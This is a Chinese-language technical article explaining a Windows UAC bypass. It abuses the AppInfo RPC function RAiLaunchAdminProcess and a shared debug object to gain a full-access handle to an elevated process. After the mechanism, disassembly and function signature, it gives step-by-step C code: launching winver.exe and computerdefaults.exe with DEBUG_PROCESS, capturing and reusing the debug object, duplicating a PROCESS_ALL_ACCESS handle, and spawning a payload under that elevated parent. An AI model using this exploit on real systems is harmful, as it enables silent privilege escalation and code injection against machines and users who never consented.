利用本地RPC接口的UAC Bypass
AppInfo是一個本地RPC服務,其接口ID為201ef99a-7fa0-444c-9399-19ba84f12a1a,AppInfo 是 UAC 提升的關鍵。ShellExecuteEx()通過 RPC 調用將所有提升請求轉發到 AppInfo NT 服務。AppInfo 在系統上下文中調用一個名為“approve.exe”的可執行文件,這是啟動用戶同意的對話框的可執行文件.
當對話框處于活動狀態時,我們看到的不是會話1的WinSta0\Default。而是會話0上的桌面。被稱為“安全桌面”,在1中我們描述了這個部分。AppInfo然后從“安全桌面”中獲取結果。并確定是否需要啟動新進程(即接受了提升請求)。AppInfo然后使用完整的管理令牌創建一個進程,那么會話1桌面上登錄用戶的完整性級別為高。
要以當前用戶的身份在不同會話的不同桌面上創建進程,需要七個階段:
AppInfo前往并與本地安全機構對話,以獲取會話1的登錄用戶的提升令牌。AppInfo加載一個STARTUPINFOEX結構(Vista新增),并調用全新的Vista API InitializeProcThreadAttributeList(),其中包含一個屬性的空間。調用OpenProcess()以獲取啟動RPC調用的進程的句柄。UpdateProcThreadAttribute()由PROC_THREAD_ATTRIBUTE_PARENT_進程調用,并使用在步驟3中檢索到的句柄。調用CreateProcessAsUser()時,將顯示擴展的_STARTUPINFO_以及步驟1和4的結果。調用DeleteProcThreadAttributeList()。收集結果,清理句柄。
一旦AppInfo成功啟動進程,它就會通過RPC接口將一些信息傳輸回調用ShellExecuteEx()的應用程序。ShellExecuteEx()會繞一段時間,然后自我清理,最終返回整個函數調用,關閉線程,然后返回給調用方。
UAC的具體實現依賴于APPINFO服務對外提供的一個RPC服務端,通過ShellExecute API達到對用戶透明的效果。根據大佬對其進行分析我們可以知道:
mov edi, [ebp+VarStartupInfo]mov eax, [edi+_STARTUPINFOW.lpTitle]mov [ebp+VarStartupInfo_Title], eaxmov eax, [edi+_STARTUPINFOW.dwX]mov [ebp+VarStartupInfo_X], eaxmov eax, [edi+_STARTUPINFOW.dwY]mov [ebp+VarStartupInfo_Y], eaxmov eax, [edi+_STARTUPINFOW.dwXSize]mov [ebp+VarStartupInfo_XSize], eaxmov eax, [edi+_STARTUPINFOW.dwYSize]mov [ebp+VarStartupInfo_YSize], eaxmov eax, [edi+_STARTUPINFOW.dwXCountChars]mov [ebp+VarStartupInfo_XCountChars], eaxmov eax, [edi+_STARTUPINFOW.dwYCountChars]mov [ebp+VarStartupInfo_YCountChars], eaxmov eax, [edi+_STARTUPINFOW.dwFillAttribute]mov [ebp+VarStartupInfo_FillAttr], eaxmov eax, [edi+_STARTUPINFOW.dwFlags]mov [ebp+VarStartupInfo_Flags], eaxmov cx, [edi+_STARTUPINFOW.wShowWindow]mov [ebp+VarStartupInfo_ShowWindow], cx...push eaxpush ebxpush 0FFFFFFFFhpush [ebp+hwnd]lea eax, [ebp+VarStartupInfo_Title]push eaxpush [ebp+hMemToWinSta0_Desktop]push [ebp+VarExpandedCurrDir]push [ebp+ArgCreationFlags]push [ebp+arg_8] ; Probably bInheritHandlespush [ebp+VarExpandedCommandLine]push [ebp+VarExpandedApplicationName]push StaticBindingHandlelea eax, [ebp+pAsync]push eaxcall _RAiLaunchAdminProcess@52
該RPC服務中的RAiLaunchAdminProcess函數用于在權限不一致需要向上提權時進行UAC路由分發,具有以高權限啟動進程的功能。當被啟動的程序屬于系統目錄中的白名單進程時可避免彈窗以管理員權限啟動。
RAiLaunchAdminProcess 的函數定義如下:
struct APP_PROCESS_INFORMATION {unsigned __int3264 ProcessHandle;unsigned __int3264 ThreadHandle;long ProcessId;long ThreadId;};
long RAiLaunchAdminProcess(handle_t hBinding,[in][unique][string] wchar_t* ExecutablePath,[in][unique][string] wchar_t* CommandLine,[in] long StartFlags,[in] long CreateFlags,[in][string] wchar_t* CurrentDirectory,[in][string] wchar_t* WindowStation,[in] struct APP_STARTUP_INFO* StartupInfo,[in] unsigned __int3264 hWnd,[in] long Timeout,[out] struct APP_PROCESS_INFORMATION* ProcessInformation,[out] long *ElevationType);
該函數的大部分參數與CreateProcessAsUser API類似,服務會使用CreateProcessAsUser來創建新的UAC進程。
我們需要注意的為:CreateFlags 。此標志參數直接映射到CreateProcessAsUser的dwCreateFlags參數。除了驗證調用者傳遞CREATE_UNICODE_ENVIRONMENT 之外,所有其他標志都按原樣傳遞給 API。也就是說如果CreateFlags設置為DEBUG_PROCESS和DEBUG_ONLY_THIS_PROCESS 會自動啟用對新 UAC 進程的調試,如果我們可以在提升的 UAC 進程上啟用調試并獲得其調試對象的句柄,我們可以請求第一個調試事件,該事件將返回對該進程的完全訪問句柄。
但是訪問進程的調試對象句柄需要對進程句柄具有PROCESS_QUERY_INFORMATION訪問權限。
由于安全限制,我們只能獲得對APP_PROCESS_INFORMATION::ProcessHandle結構字段中返回的提升進程句柄的PROCESS_QUERY_LIMITED_INFORMATION訪問權限。這意味著我們不能只創建一個提升的進程并打開調試對象。
繞過方法為如果進程沒有被提升,我們將有足夠的訪問權限來打開進程調試對象的句柄,該對象可以與后續提升的進程共享。我們知道StartFlags則是該接口獨有的參數,可以控制新進程的權限,設置為1時會嘗試提升進程權限,設置為0時則不會。那么我們可以設置為0;
使用利用流程為:
1.通過RAiLaunchAdminProcess創建一個新的非提升進程,其中StartFlags設置為 0 并且DEBUG_PROCESS創建標志集。這將在服務器中初始化 RPC 線程的 TEB 中的調試對象字段,并將其分配給新進程。
2.使用帶有返回的進程句柄的NtQueryInformationProcess打開調試對象的句柄。
3.分離調試器并終止不再需要的新進程。
4.通過RAiLaunchAdminProcess創建一個新的提升進程,并將StartFlags設置為 1 并設置DEBUG_PROCESS創建標志。由于 TEB 中的調試對象字段已初始化,因此在步驟 2 中捕獲的現有對象將分配給新進程。
5.檢索將返回完整訪問進程句柄的初始調試事件。
6.使用新的進程句柄代碼可以注入提升的進程完成 UAC 繞過。

詳細利用思路如下
1.將RAiLaunchAdminProcess 的startFlags設置為0,同時設置CreateFlags為CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,此時會創建一個未提權的新進程,并且調試對象會初始化并分配給新進程,
這里的進程表示為:c:\windows\system32\winver.exe
lstrcpyW(szProcess, L"C:\\Windows\\System32\\winver.exe"); if (!AicLaunchAdminProcess(szProcess,szProcess,0,CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,(LPWSTR)L"C:\\Windows\\System32",(LPWSTR)L"WinSta0\\Default",NULL,INFINITE,SW_HIDE,&procInfo)) return STATUS_UNSUCCESSFUL;
2.使用NtQueryInformationProcess,該函數會檢索進程的信息,用該函數獲取到該進程的句柄,并啟動調試對象的句柄。
// Capture debug object handle.//獲取調試對象句柄。//status = NtQueryInformationProcess(procInfo.hProcess,ProcessDebugObjectHandle,&dbgHandle,sizeof(HANDLE),NULL);
if (!NT_SUCCESS(status)) {TerminateProcess(procInfo.hProcess, 0);CloseHandle(procInfo.hThread);CloseHandle(procInfo.hProcess);return STATUS_UNSUCCESSFUL;}
3.將該進程終止,分離調試器。目的是為了下一步能夠將現有的調試對象分配給下一步創建的新進程。
// Detach debug and kill non elevated victim process.//分離調試并殺死非提升的進程。//((void(NTAPI*)(HANDLE, HANDLE))GetProcAddress(LoadLibraryA("ntdll"), "NtRemoveProcessDebug"))(procInfo.hProcess, dbgHandle);TerminateProcess(procInfo.hProcess, 0);CloseHandle(procInfo.hThread);CloseHandle(procInfo.hProcess);
4.再次使用RAiLaunchAdminProcess 函數,這次使用時,startFlags設置為1,CreateFlags配置同上,此時會創建一個提權的新進程(由于是白名單程序所以不會彈窗)。
由于調試對象在步驟1中已經初始化,所以會將在步驟2中現有的對象分配給新進程。
lstrcpyW(szProcess, L"C:\\Windows\\System32\\computerdefaults.exe");RtlSecureZeroMemory(&procInfo, sizeof(procInfo));RtlSecureZeroMemory(&dbgEvent, sizeof(dbgEvent)); if (!AicLaunchAdminProcess(szProcess,szProcess,1,CREATE_UNICODE_ENVIRONMENT | DEBUG_PROCESS,(LPWSTR)L"C:\\Windows\\System32",(LPWSTR)(L"WinSta0\\Default"),NULL,INFINITE,SW_HIDE,&procInfo)) return STATUS_UNSUCCESSFUL;
5.檢索將返回完整訪問權限的進程句柄的初始調試事件。
// Update thread TEB with debug object handle to receive debug events.//使用調試對象句柄更新線程TEB以接收調試事件。//((void(NTAPI*)(HANDLE))GetProcAddress(LoadLibraryA("ntdll"), "DbgUiSetThreadDebugObject"))(dbgHandle);dbgProcessHandle = NULL;
//// Debugger wait cycle.//調試器等待周期。//while (1) {
if (!WaitForDebugEvent(&dbgEvent, INFINITE)) break;
switch (dbgEvent.dwDebugEventCode) {case CREATE_PROCESS_DEBUG_EVENT:dbgProcessHandle = dbgEvent.u.CreateProcessInfo.hProcess;break;}
if (dbgProcessHandle) break;ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);}
if (dbgProcessHandle == NULL) return false;
6.利用父進程欺騙的手段以高權限執行指定的程序。,也可以使用該進程句柄做代碼注入,注入到提升的進程中,則可完成UAC繞過。
// Create new handle from captured with PROCESS_ALL_ACCESS.//使用PROCESS_ALL_ACCESS從捕獲的文件創建新句柄。//dupHandle = NULL;status = NtDuplicateObject(dbgProcessHandle,NtCurrentProcess(),NtCurrentProcess(),&dupHandle,PROCESS_ALL_ACCESS,0,0);
if (NT_SUCCESS(status)) {//// Run new process with parent set to duplicated process handle.//在父進程設置為重復進程句柄的情況下運行新進程。//ucmxCreateProcessFromParent(dupHandle, lpszPayload);NtClose(dupHandle);}
